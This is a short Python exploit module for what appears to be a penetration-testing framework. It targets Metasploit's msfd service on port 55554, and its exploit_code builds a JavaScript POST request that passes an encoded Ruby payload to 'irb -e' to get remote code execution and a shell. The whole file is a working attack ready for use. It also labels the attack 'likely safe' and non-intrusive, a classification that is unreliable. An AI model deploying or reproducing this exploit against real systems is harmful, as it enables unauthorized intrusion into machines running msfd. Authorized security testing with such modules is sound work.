msfd_rce.py

#!/usr/bin/env python3
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.

from lib.module.exploit import ExploitClass
from lib.module import payload
from lib.module.safety import Safety
from lib.module.intrusiveness import Intrusiveness

class ExploitModule(ExploitClass):
    def __init__(self):
        super().__init__(**{
            'Name': 'Metasploit MSFD Remote Code Execution',
            'Description': """
            This module targets Metasploit's msfd-program. When msfd is running, an attacker with IP
            access can spawn a remote shell on the system.
            """,
            'options': [],
            'Ports': [55554],
            'payload': {
                "arch": payload.ARCH_RUBY,
                "badchars": "\x00\x0a\x27"
            },
            'classification': (Safety.LIKELY_SAFE, Intrusiveness.NONE),
            'products':[
                {"product":"Metasploit MSFD"}
            ]
        })

    def exploit_code(self, payload):
        data = """
var xml = new XMLHttpRequest();
xml.open("POST","/", true);
var sc = String('""" + payload.encoded() + """');
xml.send("irb -e \\"" + sc + "\\"\\n");"""
        return data